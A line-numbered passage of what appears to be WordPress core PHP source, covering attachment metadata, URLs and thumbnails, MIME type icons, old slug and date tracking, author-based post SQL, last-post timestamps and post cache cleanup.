5684 if ( ! wp_delete_file_from_directory( $intermediate_file, $intermediate_dir ) ) {
5685 $deleted = false;
5686 }
5687 }
5688 }
5689 }
5690
5691 if ( ! empty( $meta['original_image'] ) ) {
5692 if ( empty( $intermediate_dir ) ) {
5693 $intermediate_dir = path_join( $uploadpath['basedir'], dirname( $file ) );
5694 }
5695
5696 $original_image = str_replace( wp_basename( $file ), $meta['original_image'], $file );
5697
5698 if ( ! empty( $original_image ) ) {
5699 $original_image = path_join( $uploadpath['basedir'], $original_image );
5700
5701 if ( ! wp_delete_file_from_directory( $original_image, $intermediate_dir ) ) {
5702 $deleted = false;
5703 }
5704 }
5705 }
5706
5707 if ( is_array( $backup_sizes ) ) {
5708 $del_dir = path_join( $uploadpath['basedir'], dirname( $meta['file'] ) );
5709
5710 foreach ( $backup_sizes as $size ) {
5711 $del_file = path_join( dirname( $meta['file'] ), $size['file'] );
5712
5713 if ( ! empty( $del_file ) ) {
5714 $del_file = path_join( $uploadpath['basedir'], $del_file );
5715
5716 if ( ! wp_delete_file_from_directory( $del_file, $del_dir ) ) {
5717 $deleted = false;
5718 }
5719 }
5720 }
5721 }
5722
5723 if ( ! wp_delete_file_from_directory( $file, $uploadpath['basedir'] ) ) {
5724 $deleted = false;
5725 }
5726
5727 return $deleted;
5728}
5729
5730/**
5731 * Retrieve attachment meta field for attachment ID.
5732 *
5733 * @since 2.1.0
5734 *
5735 * @param int $attachment_id Attachment post ID. Defaults to global $post.
5736 * @param bool $unfiltered Optional. If true, filters are not run. Default false.
5737 * @return mixed Attachment meta field. False on failure.
5738 */
5739function wp_get_attachment_metadata( $attachment_id = 0, $unfiltered = false ) {
5740 $attachment_id = (int) $attachment_id;
5741 $post = get_post( $attachment_id );
5742 if ( ! $post ) {
5743 return false;
5744 }
5745
5746 $data = get_post_meta( $post->ID, '_wp_attachment_metadata', true );
5747
5748 if ( $unfiltered ) {
5749 return $data;
5750 }
5751
5752 /**
5753 * Filters the attachment meta data.
5754 *
5755 * @since 2.1.0
5756 *
5757 * @param array|bool $data Array of meta data for the given attachment, or false
5758 * if the object does not exist.
5759 * @param int $attachment_id Attachment post ID.
5760 */
5761 return apply_filters( 'wp_get_attachment_metadata', $data, $post->ID );
5762}
5763
5764/**
5765 * Update metadata for an attachment.
5766 *
5767 * @since 2.1.0
5768 *
5769 * @param int $attachment_id Attachment post ID.
5770 * @param array $data Attachment meta data.
5771 * @return int|bool False if $post is invalid.
5772 */
5773function wp_update_attachment_metadata( $attachment_id, $data ) {
5774 $attachment_id = (int) $attachment_id;
5775 $post = get_post( $attachment_id );
5776 if ( ! $post ) {
5777 return false;
5778 }
5779
5780 /**
5781 * Filters the updated attachment meta data.
5782 *
5783 * @since 2.1.0
5784 *
5785 * @param array $data Array of updated attachment meta data.
5786 * @param int $attachment_id Attachment post ID.
5787 */
5788 $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID );
5789 if ( $data ) {
5790 return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );
5791 } else {
5792 return delete_post_meta( $post->ID, '_wp_attachment_metadata' );
5793 }
5794}
5795
5796/**
5797 * Retrieve the URL for an attachment.
5798 *
5799 * @since 2.1.0
5800 *
5801 * @global string $pagenow
5802 *
5803 * @param int $attachment_id Optional. Attachment post ID. Defaults to global $post.
5804 * @return string|false Attachment URL, otherwise false.
5805 */
5806function wp_get_attachment_url( $attachment_id = 0 ) {
5807 $attachment_id = (int) $attachment_id;
5808 $post = get_post( $attachment_id );
5809 if ( ! $post ) {
5810 return false;
5811 }
5812
5813 if ( 'attachment' != $post->post_type ) {
5814 return false;
5815 }
5816
5817 $url = '';
5818 // Get attached file.
5819 $file = get_post_meta( $post->ID, '_wp_attached_file', true );
5820 if ( $file ) {
5821 // Get upload directory.
5822 $uploads = wp_get_upload_dir();
5823 if ( $uploads && false === $uploads['error'] ) {
5824 // Check that the upload base exists in the file location.
5825 if ( 0 === strpos( $file, $uploads['basedir'] ) ) {
5826 // Replace file location with url location.
5827 $url = str_replace( $uploads['basedir'], $uploads['baseurl'], $file );
5828 } elseif ( false !== strpos( $file, 'wp-content/uploads' ) ) {
5829 // Get the directory name relative to the basedir (back compat for pre-2.7 uploads)
5830 $url = trailingslashit( $uploads['baseurl'] . '/' . _wp_get_attachment_relative_path( $file ) ) . wp_basename( $file );
5831 } else {
5832 // It's a newly-uploaded file, therefore $file is relative to the basedir.
5833 $url = $uploads['baseurl'] . "/$file";
5834 }
5835 }
5836 }
5837
5838 /*
5839 * If any of the above options failed, Fallback on the GUID as used pre-2.7,
5840 * not recommended to rely upon this.
5841 */
5842 if ( empty( $url ) ) {
5843 $url = get_the_guid( $post->ID );
5844 }
5845
5846 // On SSL front end, URLs should be HTTPS.
5847 if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $GLOBALS['pagenow'] ) {
5848 $url = set_url_scheme( $url );
5849 }
5850
5851 /**
5852 * Filters the attachment URL.
5853 *
5854 * @since 2.1.0
5855 *
5856 * @param string $url URL for the given attachment.
5857 * @param int $attachment_id Attachment post ID.
5858 */
5859 $url = apply_filters( 'wp_get_attachment_url', $url, $post->ID );
5860
5861 if ( empty( $url ) ) {
5862 return false;
5863 }
5864
5865 return $url;
5866}
5867
5868/**
5869 * Retrieves the caption for an attachment.
5870 *
5871 * @since 4.6.0
5872 *
5873 * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`.
5874 * @return string|false False on failure. Attachment caption on success.
5875 */
5876function wp_get_attachment_caption( $post_id = 0 ) {
5877 $post_id = (int) $post_id;
5878 $post = get_post( $post_id );
5879 if ( ! $post ) {
5880 return false;
5881 }
5882
5883 if ( 'attachment' !== $post->post_type ) {
5884 return false;
5885 }
5886
5887 $caption = $post->post_excerpt;
5888
5889 /**
5890 * Filters the attachment caption.
5891 *
5892 * @since 4.6.0
5893 *
5894 * @param string $caption Caption for the given attachment.
5895 * @param int $post_id Attachment ID.
5896 */
5897 return apply_filters( 'wp_get_attachment_caption', $caption, $post->ID );
5898}
5899
5900/**
5901 * Retrieve thumbnail for an attachment.
5902 *
5903 * @since 2.1.0
5904 *
5905 * @param int $post_id Optional. Attachment ID. Default 0.
5906 * @return string|false False on failure. Thumbnail file path on success.
5907 */
5908function wp_get_attachment_thumb_file( $post_id = 0 ) {
5909 $post_id = (int) $post_id;
5910 $post = get_post( $post_id );
5911 if ( ! $post ) {
5912 return false;
5913 }
5914
5915 $imagedata = wp_get_attachment_metadata( $post->ID );
5916 if ( ! is_array( $imagedata ) ) {
5917 return false;
5918 }
5919
5920 $file = get_attached_file( $post->ID );
5921
5922 if ( ! empty( $imagedata['thumb'] ) ) {
5923 $thumbfile = str_replace( wp_basename( $file ), $imagedata['thumb'], $file );
5924 if ( file_exists( $thumbfile ) ) {
5925 /**
5926 * Filters the attachment thumbnail file path.
5927 *
5928 * @since 2.1.0
5929 *
5930 * @param string $thumbfile File path to the attachment thumbnail.
5931 * @param int $post_id Attachment ID.
5932 */
5933 return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
5934 }
5935 }
5936 return false;
5937}
5938
5939/**
5940 * Retrieve URL for an attachment thumbnail.
5941 *
5942 * @since 2.1.0
5943 *
5944 * @param int $post_id Optional. Attachment ID. Default 0.
5945 * @return string|false False on failure. Thumbnail URL on success.
5946 */
5947function wp_get_attachment_thumb_url( $post_id = 0 ) {
5948 $post_id = (int) $post_id;
5949 $post = get_post( $post_id );
5950 if ( ! $post ) {
5951 return false;
5952 }
5953
5954 $url = wp_get_attachment_url( $post->ID );
5955 if ( ! $url ) {
5956 return false;
5957 }
5958
5959 $sized = image_downsize( $post_id, 'thumbnail' );
5960 if ( $sized ) {
5961 return $sized[0];
5962 }
5963
5964 $thumb = wp_get_attachment_thumb_file( $post->ID );
5965 if ( ! $thumb ) {
5966 return false;
5967 }
5968
5969 $url = str_replace( wp_basename( $url ), wp_basename( $thumb ), $url );
5970
5971 /**
5972 * Filters the attachment thumbnail URL.
5973 *
5974 * @since 2.1.0
5975 *
5976 * @param string $url URL for the attachment thumbnail.
5977 * @param int $post_id Attachment ID.
5978 */
5979 return apply_filters( 'wp_get_attachment_thumb_url', $url, $post->ID );
5980}
5981
5982/**
5983 * Verifies an attachment is of a given type.
5984 *
5985 * @since 4.2.0
5986 *
5987 * @param string $type Attachment type. Accepts 'image', 'audio', or 'video'.
5988 * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post.
5989 * @return bool True if one of the accepted types, false otherwise.
5990 */
5991function wp_attachment_is( $type, $post = null ) {
5992 $post = get_post( $post );
5993 if ( ! $post ) {
5994 return false;
5995 }
5996
5997 $file = get_attached_file( $post->ID );
5998 if ( ! $file ) {
5999 return false;
6000 }
6001
6002 if ( 0 === strpos( $post->post_mime_type, $type . '/' ) ) {
6003 return true;
6004 }
6005
6006 $check = wp_check_filetype( $file );
6007 if ( empty( $check['ext'] ) ) {
6008 return false;
6009 }
6010
6011 $ext = $check['ext'];
6012
6013 if ( 'import' !== $post->post_mime_type ) {
6014 return $type === $ext;
6015 }
6016
6017 switch ( $type ) {
6018 case 'image':
6019 $image_exts = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png' );
6020 return in_array( $ext, $image_exts );
6021
6022 case 'audio':
6023 return in_array( $ext, wp_get_audio_extensions() );
6024
6025 case 'video':
6026 return in_array( $ext, wp_get_video_extensions() );
6027
6028 default:
6029 return $type === $ext;
6030 }
6031}
6032
6033/**
6034 * Determines whether an attachment is an image.
6035 *
6036 * For more information on this and similar theme functions, check out
6037 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
6038 * Conditional Tags} article in the Theme Developer Handbook.
6039 *
6040 * @since 2.1.0
6041 * @since 4.2.0 Modified into wrapper for wp_attachment_is() and
6042 * allowed WP_Post object to be passed.
6043 *
6044 * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post.
6045 * @return bool Whether the attachment is an image.
6046 */
6047function wp_attachment_is_image( $post = null ) {
6048 return wp_attachment_is( 'image', $post );
6049}
6050
6051/**
6052 * Retrieve the icon for a MIME type.
6053 *
6054 * @since 2.1.0
6055 *
6056 * @param string|int $mime MIME type or attachment ID.
6057 * @return string|false Icon, false otherwise.
6058 */
6059function wp_mime_type_icon( $mime = 0 ) {
6060 if ( ! is_numeric( $mime ) ) {
6061 $icon = wp_cache_get( "mime_type_icon_$mime" );
6062 }
6063
6064 $post_id = 0;
6065 if ( empty( $icon ) ) {
6066 $post_mimes = array();
6067 if ( is_numeric( $mime ) ) {
6068 $mime = (int) $mime;
6069 $post = get_post( $mime );
6070 if ( $post ) {
6071 $post_id = (int) $post->ID;
6072 $file = get_attached_file( $post_id );
6073 $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $file );
6074 if ( ! empty( $ext ) ) {
6075 $post_mimes[] = $ext;
6076 $ext_type = wp_ext2type( $ext );
6077 if ( $ext_type ) {
6078 $post_mimes[] = $ext_type;
6079 }
6080 }
6081 $mime = $post->post_mime_type;
6082 } else {
6083 $mime = 0;
6084 }
6085 } else {
6086 $post_mimes[] = $mime;
6087 }
6088
6089 $icon_files = wp_cache_get( 'icon_files' );
6090
6091 if ( ! is_array( $icon_files ) ) {
6092 /**
6093 * Filters the icon directory path.
6094 *
6095 * @since 2.0.0
6096 *
6097 * @param string $path Icon directory absolute path.
6098 */
6099 $icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );
6100
6101 /**
6102 * Filters the icon directory URI.
6103 *
6104 * @since 2.0.0
6105 *
6106 * @param string $uri Icon directory URI.
6107 */
6108 $icon_dir_uri = apply_filters( 'icon_dir_uri', includes_url( 'images/media' ) );
6109
6110 /**
6111 * Filters the list of icon directory URIs.
6112 *
6113 * @since 2.5.0
6114 *
6115 * @param array $uris List of icon directory URIs.
6116 */
6117 $dirs = apply_filters( 'icon_dirs', array( $icon_dir => $icon_dir_uri ) );
6118 $icon_files = array();
6119 while ( $dirs ) {
6120 $keys = array_keys( $dirs );
6121 $dir = array_shift( $keys );
6122 $uri = array_shift( $dirs );
6123 $dh = opendir( $dir );
6124 if ( $dh ) {
6125 while ( false !== $file = readdir( $dh ) ) {
6126 $file = wp_basename( $file );
6127 if ( substr( $file, 0, 1 ) == '.' ) {
6128 continue;
6129 }
6130 if ( ! in_array( strtolower( substr( $file, -4 ) ), array( '.png', '.gif', '.jpg' ) ) ) {
6131 if ( is_dir( "$dir/$file" ) ) {
6132 $dirs[ "$dir/$file" ] = "$uri/$file";
6133 }
6134 continue;
6135 }
6136 $icon_files[ "$dir/$file" ] = "$uri/$file";
6137 }
6138 closedir( $dh );
6139 }
6140 }
6141 wp_cache_add( 'icon_files', $icon_files, 'default', 600 );
6142 }
6143
6144 $types = array();
6145 // Icon wp_basename - extension = MIME wildcard.
6146 foreach ( $icon_files as $file => $uri ) {
6147 $types[ preg_replace( '/^([^.]*).*$/', '$1', wp_basename( $file ) ) ] =& $icon_files[ $file ];
6148 }
6149
6150 if ( ! empty( $mime ) ) {
6151 $post_mimes[] = substr( $mime, 0, strpos( $mime, '/' ) );
6152 $post_mimes[] = substr( $mime, strpos( $mime, '/' ) + 1 );
6153 $post_mimes[] = str_replace( '/', '_', $mime );
6154 }
6155
6156 $matches = wp_match_mime_types( array_keys( $types ), $post_mimes );
6157 $matches['default'] = array( 'default' );
6158
6159 foreach ( $matches as $match => $wilds ) {
6160 foreach ( $wilds as $wild ) {
6161 if ( ! isset( $types[ $wild ] ) ) {
6162 continue;
6163 }
6164
6165 $icon = $types[ $wild ];
6166 if ( ! is_numeric( $mime ) ) {
6167 wp_cache_add( "mime_type_icon_$mime", $icon );
6168 }
6169 break 2;
6170 }
6171 }
6172 }
6173
6174 /**
6175 * Filters the mime type icon.
6176 *
6177 * @since 2.1.0
6178 *
6179 * @param string $icon Path to the mime type icon.
6180 * @param string $mime Mime type.
6181 * @param int $post_id Attachment ID. Will equal 0 if the function passed
6182 * the mime type.
6183 */
6184 return apply_filters( 'wp_mime_type_icon', $icon, $mime, $post_id );
6185}
6186
6187/**
6188 * Check for changed slugs for published post objects and save the old slug.
6189 *
6190 * The function is used when a post object of any type is updated,
6191 * by comparing the current and previous post objects.
6192 *
6193 * If the slug was changed and not already part of the old slugs then it will be
6194 * added to the post meta field ('_wp_old_slug') for storing old slugs for that
6195 * post.
6196 *
6197 * The most logically usage of this function is redirecting changed post objects, so
6198 * that those that linked to an changed post will be redirected to the new post.
6199 *
6200 * @since 2.1.0
6201 *
6202 * @param int $post_id Post ID.
6203 * @param WP_Post $post The Post Object
6204 * @param WP_Post $post_before The Previous Post Object
6205 */
6206function wp_check_for_changed_slugs( $post_id, $post, $post_before ) {
6207 // Don't bother if it hasn't changed.
6208 if ( $post->post_name == $post_before->post_name ) {
6209 return;
6210 }
6211
6212 // We're only concerned with published, non-hierarchical objects.
6213 if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) {
6214 return;
6215 }
6216
6217 $old_slugs = (array) get_post_meta( $post_id, '_wp_old_slug' );
6218
6219 // If we haven't added this old slug before, add it now.
6220 if ( ! empty( $post_before->post_name ) && ! in_array( $post_before->post_name, $old_slugs ) ) {
6221 add_post_meta( $post_id, '_wp_old_slug', $post_before->post_name );
6222 }
6223
6224 // If the new slug was used previously, delete it from the list.
6225 if ( in_array( $post->post_name, $old_slugs ) ) {
6226 delete_post_meta( $post_id, '_wp_old_slug', $post->post_name );
6227 }
6228}
6229
6230/**
6231 * Check for changed dates for published post objects and save the old date.
6232 *
6233 * The function is used when a post object of any type is updated,
6234 * by comparing the current and previous post objects.
6235 *
6236 * If the date was changed and not already part of the old dates then it will be
6237 * added to the post meta field ('_wp_old_date') for storing old dates for that
6238 * post.
6239 *
6240 * The most logically usage of this function is redirecting changed post objects, so
6241 * that those that linked to an changed post will be redirected to the new post.
6242 *
6243 * @since 4.9.3
6244 *
6245 * @param int $post_id Post ID.
6246 * @param WP_Post $post The Post Object
6247 * @param WP_Post $post_before The Previous Post Object
6248 */
6249function wp_check_for_changed_dates( $post_id, $post, $post_before ) {
6250 $previous_date = gmdate( 'Y-m-d', strtotime( $post_before->post_date ) );
6251 $new_date = gmdate( 'Y-m-d', strtotime( $post->post_date ) );
6252 // Don't bother if it hasn't changed.
6253 if ( $new_date == $previous_date ) {
6254 return;
6255 }
6256 // We're only concerned with published, non-hierarchical objects.
6257 if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) {
6258 return;
6259 }
6260 $old_dates = (array) get_post_meta( $post_id, '_wp_old_date' );
6261 // If we haven't added this old date before, add it now.
6262 if ( ! empty( $previous_date ) && ! in_array( $previous_date, $old_dates ) ) {
6263 add_post_meta( $post_id, '_wp_old_date', $previous_date );
6264 }
6265 // If the new slug was used previously, delete it from the list.
6266 if ( in_array( $new_date, $old_dates ) ) {
6267 delete_post_meta( $post_id, '_wp_old_date', $new_date );
6268 }
6269}
6270
6271/**
6272 * Retrieve the private post SQL based on capability.
6273 *
6274 * This function provides a standardized way to appropriately select on the
6275 * post_status of a post type. The function will return a piece of SQL code
6276 * that can be added to a WHERE clause; this SQL is constructed to allow all
6277 * published posts, and all private posts to which the user has access.
6278 *
6279 * @since 2.2.0
6280 * @since 4.3.0 Added the ability to pass an array to `$post_type`.
6281 *
6282 * @param string|array $post_type Single post type or an array of post types. Currently only supports 'post' or 'page'.
6283 * @return string SQL code that can be added to a where clause.
6284 */
6285function get_private_posts_cap_sql( $post_type ) {
6286 return get_posts_by_author_sql( $post_type, false );
6287}
6288
6289/**
6290 * Retrieve the post SQL based on capability, author, and type.
6291 *
6292 * @since 3.0.0
6293 * @since 4.3.0 Introduced the ability to pass an array of post types to `$post_type`.
6294 *
6295 * @see get_private_posts_cap_sql()
6296 * @global wpdb $wpdb WordPress database abstraction object.
6297 *
6298 * @param array|string $post_type Single post type or an array of post types.
6299 * @param bool $full Optional. Returns a full WHERE statement instead of just
6300 * an 'andalso' term. Default true.
6301 * @param int $post_author Optional. Query posts having a single author ID. Default null.
6302 * @param bool $public_only Optional. Only return public posts. Skips cap checks for
6303 * $current_user. Default false.
6304 * @return string SQL WHERE code that can be added to a query.
6305 */
6306function get_posts_by_author_sql( $post_type, $full = true, $post_author = null, $public_only = false ) {
6307 global $wpdb;
6308
6309 if ( is_array( $post_type ) ) {
6310 $post_types = $post_type;
6311 } else {
6312 $post_types = array( $post_type );
6313 }
6314
6315 $post_type_clauses = array();
6316 foreach ( $post_types as $post_type ) {
6317 $post_type_obj = get_post_type_object( $post_type );
6318 if ( ! $post_type_obj ) {
6319 continue;
6320 }
6321
6322 /**
6323 * Filters the capability to read private posts for a custom post type
6324 * when generating SQL for getting posts by author.
6325 *
6326 * @since 2.2.0
6327 * @deprecated 3.2.0 The hook transitioned from "somewhat useless" to "totally useless".
6328 *
6329 * @param string $cap Capability.
6330 */
6331 $cap = apply_filters( 'pub_priv_sql_capability', '' );
6332 if ( ! $cap ) {
6333 $cap = current_user_can( $post_type_obj->cap->read_private_posts );
6334 }
6335
6336 // Only need to check the cap if $public_only is false.
6337 $post_status_sql = "post_status = 'publish'";
6338 if ( false === $public_only ) {
6339 if ( $cap ) {
6340 // Does the user have the capability to view private posts? Guess so.
6341 $post_status_sql .= " OR post_status = 'private'";
6342 } elseif ( is_user_logged_in() ) {
6343 // Users can view their own private posts.
6344 $id = get_current_user_id();
6345 if ( null === $post_author || ! $full ) {
6346 $post_status_sql .= " OR post_status = 'private' AND post_author = $id";
6347 } elseif ( $id == (int) $post_author ) {
6348 $post_status_sql .= " OR post_status = 'private'";
6349 } // else none
6350 } // else none
6351 }
6352
6353 $post_type_clauses[] = "( post_type = '" . $post_type . "' AND ( $post_status_sql ) )";
6354 }
6355
6356 if ( empty( $post_type_clauses ) ) {
6357 return $full ? 'WHERE 1 = 0' : '1 = 0';
6358 }
6359
6360 $sql = '( ' . implode( ' OR ', $post_type_clauses ) . ' )';
6361
6362 if ( null !== $post_author ) {
6363 $sql .= $wpdb->prepare( ' AND post_author = %d', $post_author );
6364 }
6365
6366 if ( $full ) {
6367 $sql = 'WHERE ' . $sql;
6368 }
6369
6370 return $sql;
6371}
6372
6373/**
6374 * Retrieves the most recent time that a post on the site was published.
6375 *
6376 * The server timezone is the default and is the difference between GMT and
6377 * server time. The 'blog' value is the date when the last post was posted. The
6378 * 'gmt' is when the last post was posted in GMT formatted date.
6379 *
6380 * @since 0.71
6381 * @since 4.4.0 The `$post_type` argument was added.
6382 *
6383 * @param string $timezone Optional. The timezone for the timestamp. Accepts 'server', 'blog', or 'gmt'.
6384 * 'server' uses the server's internal timezone.
6385 * 'blog' uses the `post_date` field, which proxies to the timezone set for the site.
6386 * 'gmt' uses the `post_date_gmt` field.
6387 * Default 'server'.
6388 * @param string $post_type Optional. The post type to check. Default 'any'.
6389 * @return string The date of the last post, or false on failure.
6390 */
6391function get_lastpostdate( $timezone = 'server', $post_type = 'any' ) {
6392 /**
6393 * Filters the most recent time that a post on the site was published.
6394 *
6395 * @since 2.3.0
6396 *
6397 * @param string|false $date Date the last post was published. False on failure.
6398 * @param string $timezone Location to use for getting the post published date.
6399 * See get_lastpostdate() for accepted `$timezone` values.
6400 */
6401 return apply_filters( 'get_lastpostdate', _get_last_post_time( $timezone, 'date', $post_type ), $timezone );
6402}
6403
6404/**
6405 * Get the most recent time that a post on the site was modified.
6406 *
6407 * The server timezone is the default and is the difference between GMT and
6408 * server time. The 'blog' value is just when the last post was modified. The
6409 * 'gmt' is when the last post was modified in GMT time.
6410 *
6411 * @since 1.2.0
6412 * @since 4.4.0 The `$post_type` argument was added.
6413 *
6414 * @param string $timezone Optional. The timezone for the timestamp. See get_lastpostdate()
6415 * for information on accepted values.
6416 * Default 'server'.
6417 * @param string $post_type Optional. The post type to check. Default 'any'.
6418 * @return string The timestamp in 'Y-m-d H:i:s' format, or false on failure.
6419 */
6420function get_lastpostmodified( $timezone = 'server', $post_type = 'any' ) {
6421 /**
6422 * Pre-filter the return value of get_lastpostmodified() before the query is run.
6423 *
6424 * @since 4.4.0
6425 *
6426 * @param string|false $lastpostmodified The most recent time that a post was modified, in 'Y-m-d H:i:s' format, or
6427 * false. Returning anything other than false will short-circuit the function.
6428 * @param string $timezone Location to use for getting the post modified date.
6429 * See get_lastpostdate() for accepted `$timezone` values.
6430 * @param string $post_type The post type to check.
6431 */
6432 $lastpostmodified = apply_filters( 'pre_get_lastpostmodified', false, $timezone, $post_type );
6433 if ( false !== $lastpostmodified ) {
6434 return $lastpostmodified;
6435 }
6436
6437 $lastpostmodified = _get_last_post_time( $timezone, 'modified', $post_type );
6438
6439 $lastpostdate = get_lastpostdate( $timezone );
6440 if ( $lastpostdate > $lastpostmodified ) {
6441 $lastpostmodified = $lastpostdate;
6442 }
6443
6444 /**
6445 * Filters the most recent time that a post was modified.
6446 *
6447 * @since 2.3.0
6448 *
6449 * @param string|false $lastpostmodified The most recent time that a post was modified, in 'Y-m-d H:i:s' format.
6450 * False on failure.
6451 * @param string $timezone Location to use for getting the post modified date.
6452 * See get_lastpostdate() for accepted `$timezone` values.
6453 */
6454 return apply_filters( 'get_lastpostmodified', $lastpostmodified, $timezone );
6455}
6456
6457/**
6458 * Gets the timestamp of the last time any post was modified or published.
6459 *
6460 * @since 3.1.0
6461 * @since 4.4.0 The `$post_type` argument was added.
6462 * @access private
6463 *
6464 * @global wpdb $wpdb WordPress database abstraction object.
6465 *
6466 * @param string $timezone The timezone for the timestamp. See get_lastpostdate().
6467 * for information on accepted values.
6468 * @param string $field Post field to check. Accepts 'date' or 'modified'.
6469 * @param string $post_type Optional. The post type to check. Default 'any'.
6470 * @return string|false The timestamp in 'Y-m-d H:i:s' format, or false on failure.
6471 */
6472function _get_last_post_time( $timezone, $field, $post_type = 'any' ) {
6473 global $wpdb;
6474
6475 if ( ! in_array( $field, array( 'date', 'modified' ) ) ) {
6476 return false;
6477 }
6478
6479 $timezone = strtolower( $timezone );
6480
6481 $key = "lastpost{$field}:$timezone";
6482 if ( 'any' !== $post_type ) {
6483 $key .= ':' . sanitize_key( $post_type );
6484 }
6485
6486 $date = wp_cache_get( $key, 'timeinfo' );
6487 if ( false !== $date ) {
6488 return $date;
6489 }
6490
6491 if ( 'any' === $post_type ) {
6492 $post_types = get_post_types( array( 'public' => true ) );
6493 array_walk( $post_types, array( $wpdb, 'escape_by_ref' ) );
6494 $post_types = "'" . implode( "', '", $post_types ) . "'";
6495 } else {
6496 $post_types = "'" . sanitize_key( $post_type ) . "'";
6497 }
6498
6499 switch ( $timezone ) {
6500 case 'gmt':
6501 $date = $wpdb->get_var( "SELECT post_{$field}_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1" );
6502 break;
6503 case 'blog':
6504 $date = $wpdb->get_var( "SELECT post_{$field} FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1" );
6505 break;
6506 case 'server':
6507 $add_seconds_server = gmdate( 'Z' );
6508 $date = $wpdb->get_var( "SELECT DATE_ADD(post_{$field}_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1" );
6509 break;
6510 }
6511
6512 if ( $date ) {
6513 wp_cache_set( $key, $date, 'timeinfo' );
6514
6515 return $date;
6516 }
6517
6518 return false;
6519}
6520
6521/**
6522 * Updates posts in cache.
6523 *
6524 * @since 1.5.1
6525 *
6526 * @param WP_Post[] $posts Array of post objects (passed by reference).
6527 */
6528function update_post_cache( &$posts ) {
6529 if ( ! $posts ) {
6530 return;
6531 }
6532
6533 foreach ( $posts as $post ) {
6534 wp_cache_add( $post->ID, $post, 'posts' );
6535 }
6536}
6537
6538/**
6539 * Will clean the post in the cache.
6540 *
6541 * Cleaning means delete from the cache of the post. Will call to clean the term
6542 * object cache associated with the post ID.
6543 *
6544 * This function not run if $_wp_suspend_cache_invalidation is not empty. See
6545 * wp_suspend_cache_invalidation().
6546 *
6547 * @since 2.0.0
6548 *
6549 * @global bool $_wp_suspend_cache_invalidation
6550 *
6551 * @param int|WP_Post $post Post ID or post object to remove from the cache.
6552 */
6553function clean_post_cache( $post ) {
6554 global $_wp_suspend_cache_invalidation;
6555
6556 if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
6557 return;
6558 }
6559
6560 $post = get_post( $post );
6561 if ( empty( $post ) ) {
6562 return;
6563 }
6564
6565 wp_cache_delete( $post->ID, 'posts' );
6566 wp_cache_delete( $post->ID, 'post_meta' );
6567
6568 clean_object_term_cache( $post->ID, $post->post_type );
6569
6570 wp_cache_delete( 'wp_get_archives', 'general' );
6571
6572 /**
6573 * Fires immediately after the given post's cache is cleaned.
6574 *
6575 * @since 2.5.0
6576 *
6577 * @param int $post_id Post ID.
6578 * @param WP_Post $post Post object.
6579 */
6580 do_action( 'clean_post_cache', $post->ID, $post );
6581
6582 if ( 'page' == $post->post_type ) {
6583 wp_cache_delete( 'all_page_ids', 'posts' );
6584
6585 /**
6586 * Fires immediately after the given page's cache is cleaned.
6587 *
6588 * @since 2.5.0
6589 *
6590 * @param int $post_id Post ID.
6591 */
6592 do_action( 'clean_page_cache', $post->ID );
6593 }
6594
6595 wp_cache_set( 'last_changed', microtime(), 'posts' );
6596}
6597
6598/**
6599 * Call major cache updating functions for list of Post objects.
6600 *
6601 * @since 1.5.0
6602 *
6603 * @param WP_Post[] $posts Array of Post objects
6604 * @param string $post_type Optional. Post type. Default 'post'.
6605 * @param bool $update_term_cache Optional. Whether to update the term cache. Default true.
6606 * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true.
6607 */
6608function update_post_caches( &$posts, $post_type = 'post', $update_term_cache = true, $update_meta_cache = true ) {
6609 // No point in doing all this work if we didn't match any posts.
6610 if ( ! $posts ) {
6611 return;
6612 }
6613
6614 update_post_cache( $posts );
6615
6616 $post_ids = array();
6617 foreach ( $posts as $post ) {
6618 $post_ids[] = $post->ID;
6619 }
6620
6621 if ( ! $post_type ) {
6622 $post_type = 'any';
6623 }
6624
6625 if ( $update_term_cache ) {
6626 if ( is_array( $post_type ) ) {
6627 $ptypes = $post_type;
6628 } elseif ( 'any' == $post_type ) {
6629 $ptypes = array();
6630 // Just use the post_types in the supplied posts.
6631 foreach ( $posts as $post ) {
6632 $ptypes[] = $post->post_type;
6633 }
6634 $ptypes = array_unique( $ptypes );
6635 } else {
6636 $ptypes = array( $post_type );
6637 }
6638
6639 if ( ! empty( $ptypes ) ) {
6640 update_object_term_cache( $post_ids, $ptypes );
6641 }
6642 }
6643
6644 if ( $update_meta_cache ) {
6645 update_postmeta_cache( $post_ids );
6646 }
6647}
6648
6649/**
6650 * Updates metadata cache for list of post IDs.
6651 *
6652 * Performs SQL query to retrieve the metadata for the post IDs and updates the
6653 * metadata cache for the posts. Therefore, the functions, which call this
6654 * function, do not need to perform SQL queries on their own.
6655 *
6656 * @since 2.1.0
6657 *
6658 * @param int[] $post_ids Array of post IDs.
6659 * @return array|false Returns false if there is nothing to update or an array
6660 * of metadata.
6661 */
6662function update_postmeta_cache( $post_ids ) {
6663 return update_meta_cache( 'post', $post_ids );
6664}
6665
6666/**
6667 * Will clean the attachment in the cache.
6668 *
6669 * Cleaning means delete from the cache. Optionally will clean the term
6670 * object cache associated with the attachment ID.
6671 *
6672 * This function will not run if $_wp_suspend_cache_invalidation is not empty.
6673 *
6674 * @since 3.0.0
6675 *
